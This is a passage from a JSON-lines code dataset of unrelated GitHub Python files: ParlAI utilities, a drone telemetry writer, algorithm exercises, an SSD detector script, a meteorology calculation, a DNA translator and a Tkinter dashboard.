-- whether we should use deque or list\n           eval_labels -- whether or not we want to consider eval labels\n           truncate -- truncate input and output lengths\n        \"\"\"\n        def valid(obs):\n            # check if this is an example our model should actually process\n            return 'text' in obs and len(obs['text']) > 0\n        try:\n            # valid examples and their indices\n            valid_inds, exs = zip(*[(i, ex) for i, ex in\n                                    enumerate(observations) if valid(ex)])\n        except ValueError:\n            # zero examples to process in this batch, so zip failed to unpack\n            return None, None, None, None, None, None\n\n        # `x` text is already tokenized and truncated\n        # sort by length so we can use pack_padded\n        if any(['text2vec' in ex for ex in exs]):\n            parsed_x = [ex['text2vec'] for ex in exs]\n        else:\n            parsed_x = [dictionary.txt2vec(ex['text']) for ex in exs]\n\n        if len(parsed_x) > 0 and not isinstance(parsed_x[0], deque):\n            if dq:\n                parsed_x = [deque(x, maxlen=truncate) for x in parsed_x]\n            elif truncate is not None and truncate > 0:\n                parsed_x = [x[-truncate:] for x in parsed_x]\n\n        x_lens = [len(x) for x in parsed_x]\n        ind_sorted = sorted(range(len(x_lens)), key=lambda k: -x_lens[k])\n\n        exs = [exs[k] for k in ind_sorted]\n        valid_inds = [valid_inds[k] for k in ind_sorted]\n        parsed_x = [parsed_x[k] for k in ind_sorted]\n        end_idxs = [x_lens[k] for k in ind_sorted]\n\n        eval_labels_avail = any(['eval_labels' in ex for ex in exs])\n        labels_avail = any(['labels' in ex for ex in exs])\n        if eval_labels:\n            some_labels_avail = eval_labels_avail or labels_avail\n        else:\n            some_labels_avail = labels_avail\n\n        max_x_len = max(x_lens)\n\n        # pad with zeros\n        if dq:\n            parsed_x = [x if len(x) == max_x_len else\n                        x + deque((null_idx,)) * (max_x_len - len(x))\n                        for x in parsed_x]\n        else:\n            parsed_x = [x if len(x) == max_x_len else\n                        x + [null_idx] * (max_x_len - len(x))\n                        for x in parsed_x]\n        xs = parsed_x\n\n\n        # set up the target tensors\n        ys = None\n        labels = None\n        y_lens = None\n        if some_labels_avail:\n            # randomly select one of the labels to update on (if multiple)\n            if labels_avail:\n                labels = [random.choice(ex.get('labels', [''])) for ex in exs]\n            else:\n                labels = [random.choice(ex.get('eval_labels', [''])) for ex in exs]\n            # parse each label and append END\n            if dq:\n                parsed_y = [deque(maxlen=truncate) for _ in labels]\n                for dq, y in zip(parsed_y, labels):\n                    dq.extendleft(reversed(dictionary.txt2vec(y)))\n            else:\n                parsed_y = [dictionary.txt2vec(label) for label in labels]\n            if end_idx is not None:\n                for y in parsed_y:\n                    y.append(end_idx)\n\n            y_lens = [len(y) for y in parsed_y]\n            max_y_len = max(y_lens)\n\n            if dq:\n                parsed_y = [y if len(y) == max_y_len else\n                            y + deque((null_idx,)) * (max_y_len - len(y))\n                            for y in parsed_y]\n            else:\n                parsed_y = [y if len(y) == max_y_len else\n                            y + [null_idx] * (max_y_len - len(y))\n                            for y in parsed_y]\n            ys = parsed_y\n\n        return xs, ys, labels, valid_inds, end_idxs, y_lens\n\n    @classmethod\n    def map_predictions(cls, predictions, valid_inds, batch_reply, observations, dictionary, end_idx, report_freq=0.1, labels=None, answers=None, ys=None):\n        \"\"\"Predictions are mapped back to appropriate indices in the batch_reply\n           using valid_inds.\n           report_freq -- how often we report predictions\n        \"\"\"\n        for i in range(len(predictions)):\n            # map the predictions back to non-empty examples in the batch\n            # we join with spaces since we produce tokens one at a timelab\n            curr = batch_reply[valid_inds[i]]\n            output_tokens = []\n            j = 0\n            for c in predictions[i]:\n                if c == end_idx and j != 0:\n                    break\n                else:\n                    output_tokens.append(c)\n                j += 1\n            curr_pred = dictionary.vec2txt(output_tokens)\n            curr['text'] = curr_pred\n\n            if labels is not None and answers is not None and ys is not None:\n                y = []\n                for c in ys[i]:\n                    if c == end_idx:\n                        break\n                    else:\n                        y.append(c)\n                answers[valid_inds[i]] = y\n            elif answers is not None:\n                answers[valid_inds[i]] = curr_pred\n\n            if random.random() > (1 - report_freq):\n                # log sometimes\n                print('TEXT: ', observations[valid_inds[i]]['text'])\n                print('PREDICTION: ', curr_pred, '\\n~')\n        return\n\n\nclass OffensiveLanguageDetector(object):\n    \"\"\"Detects offensive language using a list of offensive language and phrases\n    from https://github.com/LDNOOBW.\n    \"\"\"\n\n    def __init__(self):\n        import parlai.core.build_data as build_data\n        from parlai.core.params import ParlaiParser\n        from parlai.core.dict import DictionaryAgent\n        self.tokenize = DictionaryAgent.split_tokenize\n\n        parser = ParlaiParser(False, False)\n\n        def _path():\n            # Build the data if it doesn't exist.\n            build()\n            return os.path.join(self.datapath, 'OffensiveLanguage', 'OffensiveLanguage.txt')\n\n        def build():\n            version = 'v1.0'\n            dpath = os.path.join(self.datapath, 'OffensiveLanguage')\n            if not build_data.built(dpath, version):\n                print('[building data: ' + dpath + ']')\n                if build_data.built(dpath):\n                    # An older version exists, so remove these outdated files.\n                    build_data.remove_dir(dpath)\n                build_data.make_dir(dpath)\n\n                # Download the data.\n                fname = 'OffensiveLanguage.txt'\n                url = 'http://parl.ai/downloads/offensive_language/' + fname\n                build_data.download(url, dpath, fname)\n\n                # Mark the data as built.\n                build_data.mark_done(dpath, version)\n\n        self.datapath = os.path.join(parser.parlai_home, 'data')\n        self.datafile = _path()\n\n        # store a token trie: e.g.\n        # {'2': {'girls': {'1': {'cup': {'__END__': True}}}}\n        self.END = '__END__'\n        self.offensive_trie = {}\n        self.max_len = 1\n        with open(self.datafile, 'r') as f:\n            for p in f.read().splitlines():\n                self.add_phrase(p)\n\n    def add_phrase(self, phrase):\n        \"\"\"Adds a single phrase to the trie.\"\"\"\n        toks = self.tokenize(phrase)\n        curr = self.offensive_trie\n        for t in toks:\n            if t not in curr:\n                curr[t] = {}\n            curr = curr[t]\n        curr[self.END] = True\n        self.max_len = max(self.max_len, len(toks))\n\n    def add_words(self, phrase_list):\n        \"\"\"Add list of custom phrases to the filter.\"\"\"\n        for phrase in phrase_list:\n            self.add_phrase(phrase)\n\n    def check_sequence(self, toks, idx, node):\n        \"\"\"Check if words from the sequence are in the trie.\n\n        This checks phrases made from\n        toks[i], toks[i:i+2] ... toks[i:i + self.max_len]\n        \"\"\"\n        right = min(idx + self.max_len, len(toks))\n        for i in range(idx, right):\n            if toks[i] in node:\n                node = node[toks[i]]\n                if self.END in node:\n                    return ' '.join(toks[j] for j in range(idx, i + 1))\n            else:\n                break\n        return False\n\n    def contains_offensive_language(self, text):\n        \"\"\"Determines if text contains any offensive words from the list.\"\"\"\n        if type(text) is str:\n            toks = self.tokenize(text.lower())\n        elif type(text) is list or type(text) is tuple:\n            toks = text\n\n        for i in range(len(toks)):\n            res = self.check_sequence(toks, i, self.offensive_trie)\n            if res:\n                return res\n\n        return None\n\ndef clip_text(text, max_len):\n    if len(text) > max_len:\n        begin_text = ' '.join(\n            text[:math.floor(0.8 * max_len)].split(' ')[:-1]\n        )\n        end_text = ' '.join(\n            text[(len(text) - math.floor(0.2 * max_len)):].split(' ')[1:]\n        )\n        if len(end_text) > 0:\n            text = begin_text + ' ...\\n' + end_text\n        else:\n            text = begin_text + ' ...'\n    return text\n\ndef display_messages(msgs, prettify=False, ignore_fields='', max_len=1000):\n    \"\"\"Returns a string describing the set of messages provided\n    If prettify is true, candidates are displayed using prettytable.\n    ignore_fields provides a list of fields in the msgs which should not be displayed.\n    \"\"\"\n    lines = []\n    episode_done = False\n    ignore_fields = ignore_fields.split(',')\n    for index, msg in enumerate(msgs):\n        if msg is None or (index == 1 and 'agent_reply' in ignore_fields):\n            # We only display the first agent (typically the teacher) if we\n            # are ignoring the agent reply.\n            continue\n        if msg.get('episode_done'):\n            episode_done = True\n        # Possibly indent the text (for the second speaker, if two).\n        space = ''\n        if len(msgs) == 2 and index == 1:\n            space = '   '\n        # Only display rewards !=0 as they are confusing in non-RL tasks.\n        if msg.get('reward', 0) != 0:\n            lines.append(space + '[reward: {r}]'.format(r=msg['reward']))\n        for key in msg:\n            if key not in ['episode_done', 'id', 'image', 'text', 'labels', 'eval_labels', 'label_candidates', 'text_candidates', 'reward'] and key not in ignore_fields:\n                line = '[' + key + ']: ' + clip_text(str(msg.get(key)), max_len)\n                lines.append(space + line)\n        if type(msg.get('image')) == str:\n            lines.append(msg['image'])\n        if msg.get('text', ''):\n            text = clip_text(msg['text'], max_len)\n            ID = '[' + msg['id'] + ']: ' if 'id' in msg else ''\n            lines.append(space + ID + text)\n        if msg.get('labels') and 'labels' not in ignore_fields:\n            lines.append(space + ('[labels: {}]'.format(\n                        '|'.join(msg['labels']))))\n        if msg.get('eval_labels') and 'eval_labels' not in ignore_fields:\n            lines.append(space + ('[eval_labels: {}]'.format(\n                        '|'.join(msg['eval_labels']))))\n\n        if msg.get('label_candidates') and 'label_candidates' not in ignore_fields:\n            cand_len = len(msg['label_candidates'])\n            if cand_len <= 10:\n                lines.append(space + ('[label_candidates: {}]'.format(\n                        '|'.join(msg['label_candidates']))))\n            else:\n                # select five label_candidates from the candidate set,\n                # can't slice in because it's a set\n                cand_iter = iter(msg['label_candidates'])\n                display_cands = (next(cand_iter) for _ in range(5))\n                # print those cands plus how many cands remain\n                lines.append(space + ('[label_candidates: {}{}]'.format(\n                        '|'.join(display_cands),\n                        '| ...and {} more'.format(cand_len - 5)\n                        )))\n        if msg.get('text_candidates') and 'text_candidates' not in ignore_fields:\n            if prettify:\n                cand_len = len(msg['text_candidates'])\n                cands = [c for c in msg['text_candidates'] if c is not None]\n                try:\n                    import prettytable\n                except ImportError:\n                    raise ImportError('Please install prettytable to \\\n                    display text candidates: `pip install prettytable`')\n                scores = None\n                if msg.get('candidate_scores') is not None:\n                    table = prettytable.PrettyTable(['Score', 'Text'])\n                    scores = msg.get('candidate_scores')\n                else:\n                    table = prettytable.PrettyTable(['Text'])\n                table.align = 'l'\n                table.hrules = 1\n                display_cands = []\n                num_cands = 0\n                for cand in cands:\n                    cand_max_length = 250 if scores is None else 100\n                    if len(cand) > cand_max_length:\n                        # Show beginning and end\n                        split = [cand[:cand_max_length], cand[cand_max_length:]]\n                        cand = split[0] + '\\n\\n. . .\\n\\n' + split[1][-(min(50, len(split[1]))):]\n                    if scores is not None:\n                        table.add_row([scores[num_cands], cand])\n                    else:\n                        table.add_row([cand])\n                    num_cands += 1\n                    if num_cands > 5:\n                        break\n\n                lines.append(space + table.get_string())\n            else:\n                cand_len = len(msg['text_candidates'])\n                if cand_len <= 10:\n                    lines.append(space + ('[text_candidates: {}]'.format(\n                            '|'.join(msg['text_candidates']))))\n                else:\n                    # select five label_candidates from the candidate set,\n                    # can't slice in because it's a set\n                    cand_iter = iter(msg['text_candidates'])\n                    display_cands = (next(cand_iter) for _ in range(5))\n                    # print those cands plus how many cands remain\n                    lines.append(space + ('[text_candidates: {}{}]'.format(\n                            '|'.join(display_cands),\n                            '| ...and {} more'.format(cand_len - 5)\n                            )))\n    if episode_done:\n        lines.append('- - - - - - - - - - - - - - - - - - - - -')\n    return '\\n'.join(lines)\n\n\ndef str_to_msg(txt, ignore_fields=''):\n    \"\"\"Convert formatted string to ParlAI message dict.\n\n    :param txt: formatted string to convert. String format is tab-separated\n        fields, with colon separating field name and contents.\n    :param ignore_fields: (default '') comma-separated field names to not\n        include in the msg dict even if they're in the string.\n    \"\"\"\n    def tostr(txt):\n        txt = str(txt)\n        txt = txt.replace('\\\\t', '\\t')\n        txt = txt.replace('\\\\n', '\\n')\n        txt = txt.replace('__PIPE__', '|')\n        return txt\n\n    def tolist(txt):\n        vals = txt.split('|')\n        for v in vals:\n            v = tostr(v)\n        return vals\n\n    def convert(key, value):\n        if key == 'text' or key == 'id':\n            return tostr(value)\n        elif (key == 'label_candidates' or key == 'labels' or\n              key == 'eval_labels' or key == 'text_candidates'):\n            return tolist(value)\n        elif key == 'episode_done':\n            return bool(value)\n        else:\n            return tostr(value)\n\n    if txt == '' or txt is None:\n        return None\n\n    msg = {}\n    for t in txt.split('\\t'):\n        ind = t.find(':')\n        key = t[:ind]\n        value = t[ind+1:]\n        if key not in ignore_fields.split(','):\n            msg[key] = convert(key, value)\n    msg['episode_done'] = msg.get('episode_done', False)\n    return msg\n\n\ndef msg_to_str(msg, ignore_fields=''):\n    \"\"\"Convert ParlAI message dict to string.\n\n    :param msg: dict to convert into a string.\n    :param ignore_fields: (default '') comma-separated field names to not\n        include in the string even if they're in the msg dict.\n    \"\"\"\n    def filter(txt):\n        txt = str(txt)\n        txt = txt.replace('\\t', '\\\\t')\n        txt = txt.replace('\\n', '\\\\n')\n        txt = txt.replace('|', '__PIPE__')\n        return txt\n\n    def add_field(name, data):\n        if name == 'reward' and data == 0:\n            return ''\n        if name == 'episode_done' and data is False:\n            return ''\n        txt = ''\n        if type(data) == tuple or type(data) == set or type(data) == list:\n            # list entries\n            for c in data:\n                txt += filter(c) + \"|\"\n            txt = txt[:-1]\n        else:\n            # single fields\n            txt = filter(data)\n        return name + \":\" + txt + '\\t'\n\n    default_fields = ['id', 'text', 'labels', 'label_candidates',\n                      'episode_done', 'reward']\n    txt = \"\"\n    ignore_fields = ignore_fields.split(',')\n    for f in default_fields:\n        if f in msg and f not in ignore_fields:\n            txt += add_field(f, msg[f])\n    for f in msg.keys():\n        if f not in default_fields and f not in ignore_fields:\n            txt += add_field(f, msg[f])\n    return txt.rstrip('\\t')\n","repo_name":"XinnuoXu/DRank","sub_path":"AMT/parlai/core/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":31074,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"26151077411","text":"from concurrent.futures import wait\nfrom pymavlink import mavutil\nimport dronekit as vehicle\nimport json\nimport redis as rd\nimport dronekit_sitl\n#connection_string = \"127.0.0.1:115200\"\n\nsitl = dronekit_sitl.start_default()\nconnection_string = sitl.connection_string()\ntry:\n     uav = vehicle.connect(connection_string, timeout=30, wait_ready = True)\n     db = rd.Redis(host='localhost', port=6379, db=0)\n     if db:\n          print(\"Database Connection: OK!\")\nexcept Exception:\n     print(Exception.args)\n\nprint(uav.attitude.roll)\nprint(uav.attitude.pitch)\n\nflight_data = {\n     'att_pitch' : uav.attitude.pitch,\n     'att_roll' : uav.attitude.roll,\n     'ais' : uav.velocity[0],\n     'alt' : uav.location.global_relative_frame.alt,\n     'head' : uav.heading,\n     'lat' : uav.location.global_relative_frame.lat,\n     'lon' : uav.location.global_relative_frame.lon,\n     'mode' : uav.mode,\n     'turn' : uav.attitude.roll,\n     'vspeed' : uav.velocity[1]\n     }\n\ndb_flight_data = json.dumps(flight_data)\n\n\n\ndb.set('json_data',db_flight_data)","repo_name":"SalwoX/GCSViewer","sub_path":"GCSViewer/datawriter.py","file_name":"datawriter.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"24482166521","text":"def hanoi(n, i, k):\n\tif n == 1:\n\t\tprint('переложить с', i, 'на', k)\n\telse:\n\t\ttmp = 6 - i - k\n\t\thanoi(n - 1, i, tmp)\n\t\tprint('переложить', n, 'блин с', i, 'на', k)\n\t\thanoi(n - 1, tmp, k)\n\nhanoi(4, 1, 3)","repo_name":"Senbjorn/mipt_lab_2016","sub_path":"recursion/hanoi.py","file_name":"hanoi.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10845031214","text":"import sys\ninput = sys.stdin.readline\nn, k = map(int, input().rstrip().split())\ndata = [tuple(map(int, input().rstrip().split())) for _ in range(n)]\ndata = [(0, 0)] + data\ndp = [[0] * (k + 1) for _ in range(n + 1)]\nfor i in range(1, n + 1):\n    for j in range(1, k + 1):\n        w, v = data[i]\n        if j < w:\n            dp[i][j] = dp[i - 1][j]\n        else:\n            dp[i][j] = max(v + dp[i - 1][j - w], dp[i - 1][j])\nprint(dp[n][k])\n","repo_name":"K1A2/algorithm_python","sub_path":"baekjoon/dynamic_programming/12865_평범한_배낭.py","file_name":"12865_평범한_배낭.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73025998453","text":"#! /usr/bin/env python3\n\nimport argparse\nimport cv2\nimport numpy as np\n\nimport chainer\nfrom chainer import serializers\n\nimport config\nfrom ssd import SSD300\nfrom multibox import MultiBoxEncoder\nfrom voc import VOC\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('model')\n    parser.add_argument('image')\n    args = parser.parse_args()\n\n    model = SSD300(n_classes=20, aspect_ratios=config.aspect_ratios)\n    serializers.load_npz(args.model, model)\n\n    multibox_encoder = MultiBoxEncoder(\n        grids=model.grids,\n        steps=config.steps,\n        sizes=config.sizes,\n        aspect_ratios=model.aspect_ratios,\n        variance=config.variance)\n\n    src = cv2.imread(args.image, cv2.IMREAD_COLOR)\n\n    x = cv2.resize(src, (model.insize, model.insize)).astype(np.float32)\n    x -= config.mean\n    x = x.transpose(2, 0, 1)\n    x = x[np.newaxis]\n\n    loc, conf = model(chainer.Variable(x, volatile=True))\n    boxes, conf = multibox_encoder.decode(loc.data[0], conf.data[0])\n\n    img = src.copy()\n    nms = multibox_encoder.non_maximum_suppression(boxes, conf, 0.45, 0.01)\n    for box, cls, conf in nms:\n        box *= img.shape[1::-1]\n        box = box.astype(int)\n\n        print(\n            cls + 1, conf,\n            box.left, box.top, box.right, box.bottom)\n\n        if conf < 0.6:\n            continue\n\n        cv2.rectangle(\n            img,\n            (box.left, box.top), (box.right, box.bottom),\n            (0, 0, 255),\n            3)\n\n        name = VOC.names[cls]\n        (w, h), b = cv2.getTextSize(name, cv2.FONT_HERSHEY_PLAIN, 1, 1)\n        cv2.rectangle(\n            img,\n            (box.left, box.top), (box.left + w, box.top + h + b),\n            (0, 0, 255),\n            -1)\n        cv2.putText(\n            img,\n            name,\n            (box.left, box.top + h),\n            cv2.FONT_HERSHEY_PLAIN,\n            1,\n            (255, 255, 255))\n\n    print('(press \\'q\\' to exit)')\n    while True:\n        cv2.imshow('result', img)\n        if cv2.waitKey() == ord('q'):\n            break\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/Hakuyume_chainer-ssd/chainer-ssd-master/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"23396235047","text":"'''\n    Calculate virtual potential temperature from\n    RASS virtual temperature observations\n\n    RASS retrieves virtual temperature observations\n    using variations in speed of sound:\n    Cs ~= 20Tv^(1/2)\n\n    Raul Valenzuela\n    raul.valenzuela@colorado.edu\n\n'''\nimport Meteoframes as mf\nimport pandas as pd\nimport numpy as np\n\n\ndef get_thetav(case=None, Tv_array=None, hgt_array=None, homedir=None):\n    '''\n        Equations derived using hypsometric eq (3.29 W&H)\n        and theta defintion (3.54 W&H). Method is equivalent\n        to Neiman et al (1992)\n    '''\n    g = 9.8  # [m/s2]\n    Rd = 287  # [J K-1 kg-1]\n    press = get_pressure(case=case, homedir=homedir).values\n    press2 = np.expand_dims(press, axis=1)\n    a, _ = hgt_array.shape\n    press2 = np.repeat(press2, a, axis=1).T\n\n    Tv = Tv_array + 273.15  # [K]\n\n    Z_1000 = 8*(press2 - 1000)\n    Z = hgt_array*1000.  # [m]\n    f1 = (Z - Z_1000) * g\n    f2 = Rd * Tv\n    thetav = Tv * np.power(np.exp(f1/f2), (2/7.))\n    return thetav\n\n\ndef get_pressure(case=None, homedir=None):\n    from glob import glob\n\n    fpath = homedir + '/SURFACE/case{}/bby*'\n    surf_files = glob(fpath.format(str(case).zfill(2)))\n    surf_files.sort()\n    df_list = []\n    for f in surf_files:\n        df_list.append(mf.parse_surface(f))\n\n    if len(df_list) > 1:\n        df = pd.concat(df_list)\n    else:\n        df = df_list[0]\n\n    g = pd.TimeGrouper('60T')\n    dfg = df['press'].groupby(g).mean()\n    return dfg\n","repo_name":"rvalenzuelar/rass_vis","sub_path":"rass_thetav.py","file_name":"rass_thetav.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43056156447","text":"def converter(j):\n    if j == \"UUU\" or j == \"UUC\":\n         return \"F\"\n    if j == \"UUA\" or j == \"UUG\" or j == \"CUU\" or j == \"CUC\" or j == \"CUA\" or j == \"CUG\":\n         return \"L\"\n    if j == \"UCU\" or j == \"UCC\" or j == \"UCA\" or j == \"UCG\" or j == \"AGU\" or j == \"AGC\":\n         return \"S\"\n    if j == \"UAU\" or j == \"UCG\" or j == \"UAC\":\n         return \"Y\"\n    if j == \"UAA\" or j == \"UAG\" or j == \"UGA\":\n        return \"STOP\"\n    if j == \"UGU\" or j == \"UGC\":\n         return \"C\"\n    if j == \"UGG\":\n         return \"W\"\n    if j == \"CCU\" or j == \"CCC\" or j == \"CCA\" or j == \"CCG\":\n         return \"P\"\n    if j == \"CAU\" or j == \"CAC\":\n         return \"H\"\n    if j == \"CAA\" or j == \"CAG\":\n         return \"Q\"\n    if j == \"CGU\" or j == \"CGC\" or j == \"CGA\" or j == \"CGG\" or j ==\"AGA\" or j == \"AGG\":\n         return \"R\"\n    if j == \"AUU\" or j == \"AUC\" or j == \"AUA\":\n         return \"I\"\n    if j == \"AUG\":\n        return \"M\"\n    if j == \"ACU\" or j == \"ACC\" or j == \"ACA\" or j == \"ACG\":\n         return \"T\"\n    if j == \"AAU\" or j == \"AAC\":\n         return \"N\"\n    if j == \"AAA\" or j == \"AAG\":\n         return \"K\"\n    if j == \"GUU\" or j == \"GUC\" or j == \"GUA\" or j == \"GUG\":\n         return \"V\"\n    if j == \"GCU\" or j == \"GCC\" or j == \"GCA\" or j == \"GCG\":\n         return \"A\"\n    if j == \"GAU\" or j == \"GAC\":\n         return \"D\"\n    if j == \"GAA\" or j == \"GAG\":\n         return \"E\"\n    if j == \"GGU\" or j == \"GGC\" or j == \"GGA\" or j == \"GGG\":\n         return \"G\"\n\ns0 = []\nwith open(\"rosalind_prot.txt\", \"r\") as f:\n    for line in f.readlines():\n        s0.append(line.replace('\\n', ''))\n\ns = ''.join(s0)\n#print(s)\n\nli = []\nli1 = []\n\nfor i in range(0, len(s), 3):\n    li.append(s[i:i+3])\n\nz = 0\nfor j in li:\n    k = converter(j)\n    if k == None:\n        print(k)\n        print(j)\n    if k == \"STOP\":\n        z = 1\n    if z == 0:\n        li1.append(k)\n\n#print(li1)\n    \ns1 = \"\".join(li1)\nprint(s1)\n\n","repo_name":"SamShapiro/PythonAndJavaFiles","sub_path":"dna_module.py","file_name":"dna_module.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10738832876","text":"#\n# @lc app=leetcode.cn id=455 lang=python3\n#\n# [455] 分发饼干\n#\n\n# @lc code=start\nclass Solution:\n    def findContentChildren(self, g: List[int], s: List[int]) -> int:\n        g_rev = sorted(g, reverse=True)\n        s_rev = sorted(s, reverse=True)\n        flag_g = 0\n        flag_s = 0\n        account = 0\n        while flag_g<len(g_rev) and flag_s<len(s_rev):\n            if s_rev[flag_s] >= g_rev[flag_g]:\n                flag_g += 1\n                flag_s += 1\n                account += 1\n            else:\n                flag_g += 1\n        return account \n# @lc code=end\n\n","repo_name":"MaxZN/Leetcode","sub_path":"455.分发饼干.py","file_name":"455.分发饼干.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70728834614","text":"# logistic_function_gmpy2.py: ロジスティック写像(gmpy2版)\r\nimport gmpy2\r\n\r\n# 128 bits\r\ngmpy2.get_context().precision = 128\r\nx = [gmpy2.mpfr('0.7501')]\r\nfor i in range(0, 100):\r\n    x.append(4 * x[i] * (1 - x[i]))\r\n\r\n# 256 bits\r\ngmpy2.get_context().precision = 256\r\nxl = [gmpy2.mpfr('0.7501')]\r\nfor i in range(0, 100):\r\n    xl.append(4 * xl[i] * (1 - xl[i]))\r\n\r\nreldiff_x = [gmpy2.reldiff(xl[i], x[i]) for i in range(len(x))]\r\n\r\nprint('    i,                          x[i]                          ')\r\nfor i in range(0, 101):\r\n    if i % 10 == 0:\r\n        print(f'{i:5d}, {x[i]:50.40e}, {reldiff_x[i]:5.1e}')\r\n\r\n\r\n# -------------------------------------\r\n# Copyright (c) 2021 Tomonori Kouya\r\n# All rights reserved.\r\n# -------------------------------------\r\n","repo_name":"tkouya/inapy","sub_path":"chapter04/logistic_function_gmpy2.py","file_name":"logistic_function_gmpy2.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"}
+{"seq_id":"23639868342","text":"from tkinter import *\nfrom PIL import Image, ImageTk\nfrom datetime import *\nimport time\nimport pandas as pd\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass Dashboard:\n    def __init__(self, root):\n        self.root = root\n        self.root.title(\"Tableau de bord\")\n        self.root.geometry(\"1366x768\")\n        self.root.config(bg=\"#eff5f6\")\n        \n        icon = PhotoImage(file=r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\pic-icon.png\")\n        self.root.iconphoto(True,icon)\n        \n        # En-tête\n        self.entete =  Frame(self.root, bg=\"#009df4\")\n        self.entete.place(x=300, y=0, width=1070, height=60)\n        \n        self.deconnect = Button(self.entete, text=\"Deconnecter\", bg=\"#32cf8e\", font=(\"poppins\", 13, \"bold\"), bd=0, fg=\"white\", cursor=\"hand2\", activebackground=\"#32cf8e\")\n        self.deconnect.place(x=925, y=15)\n        \n        #Menu\n        self.FrameMenu = Frame(self.root, bg=\"#fff\")\n        self.FrameMenu.place(x=0, y=0, width=300, height=750)\n        \n        self.logoImage = Image.open(r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\hyy.png\")\n        photo = ImageTk.PhotoImage(self.logoImage)\n        self.logo = Label(self.FrameMenu, image=photo, bg=\"#fff\")\n        self.logo.image = photo\n        self.logo.place(x=70, y=80)        \n        self.Nom = Label(self.FrameMenu, text=\"Cléason Noglo\", bg=\"#fff\", font=(\"poppins\", 13, \"bold\"))\n        self.Nom.place(x=80, y=200)\n        \n        #Tableau de bord\n        self.dashboardImage = Image.open(r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\dashboard-icon.png\")\n        photo = ImageTk.PhotoImage(self.dashboardImage)\n        self.dashboard = Label(self.FrameMenu, image=photo, bg=\"#fff\")\n        self.dashboard.image = photo\n        self.dashboard.place(x=35, y=289)\n        self.dashboard_text = Button(self.FrameMenu, text=\"Tableau de bord\", bg=\"#fff\", font=(\"poppins\", 13, \"bold\"), bd=0, cursor=\"hand2\", activebackground=\"#fff\")\n        self.dashboard_text.place(x=80, y=289)\n        \n        #Gestion\n        self.gestionImage = Image.open(r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\manage-icon.png\")\n        photo = ImageTk.PhotoImage(self.gestionImage)\n        self.gestion = Label(self.FrameMenu, image=photo, bg=\"#fff\")\n        self.gestion.image = photo\n        self.gestion.place(x=35, y=340)\n        self.gestion_text = Button(self.FrameMenu, text=\"Gestion\", bg=\"#fff\", font=(\"poppins\", 13, \"bold\"), bd=0, cursor=\"hand2\", activebackground=\"#fff\")\n        self.gestion_text.place(x=80, y=345)\n        \n        \n        #parametres\n        self.parametreImage = Image.open(r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\settings-icon.png\")\n        photo = ImageTk.PhotoImage(self.parametreImage)\n        self.parametre = Label(self.FrameMenu, image=photo, bg=\"#fff\")\n        self.parametre.image = photo\n        self.parametre.place(x=35, y=402)\n        self.parametre_text = Button(self.FrameMenu, text=\"Parametres\", bg=\"#fff\", font=(\"poppins\", 13, \"bold\"), bd=0, cursor=\"hand2\", activebackground=\"#fff\")\n        self.parametre_text.place(x=80, y=402)\n        \n        #Quitter\n        self.quitterImage = Image.open(r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\exit-icon.png\")\n        photo = ImageTk.PhotoImage(self.quitterImage)\n        self.quitter = Label(self.FrameMenu, image=photo, bg=\"#fff\")\n        self.quitter.image = photo\n        self.quitter.place(x=25, y=452)\n        self.quitter_text = Button(self.FrameMenu, text=\"Quitter\", bg=\"#fff\", font=(\"poppins\", 13, \"bold\"), bd=0, cursor=\"hand2\", activebackground=\"#fff\")\n        self.quitter_text.place(x=85, y=462)\n        \n        #Corps\n        self.titre = Label(self.root, text=\"Tableau de bord\",font=(\"poppins\", 13, \"bold\"), fg=\"#0064d3\", bg=\"#eff5f6\")\n        self.titre.place(x=325, y=70)\n        \n        #Corps1\n        self.corp1 = Frame(self.root, bg=\"#fff\")\n        self.corp1.place(x=328, y=110, width=1040, height=350)\n        \n        donnee = pd.read_excel(r\"C:\\Users\\Admin\\OneDrive\\Bureau\\codePython\\gestion_python\\Image_DashBoard\\donnee.xlsx\")\n        sumlundi = sum(donnee[\"Lundi\"])\n        summardi = sum(donnee[\"Mardi\"])\n        summercredi = sum(donnee[\"Mercredi\"])\n        sumjeudi = sum(donnee[\"Jeudi\"])\n        sumvendredi = sum(donnee[\"Vendredi\"])\n        sumsamedi = sum(donnee[\"Samedi\"])\n        \n        fig = plt.figure(figsize=(5,5), dpi=100)\n        fig.set_size_inches(5, 3.5)\n        \n        labels = \"Lundi\", \"Mardi\", \"Mercredi\", \"Jeudi\", \"Vendredi\", 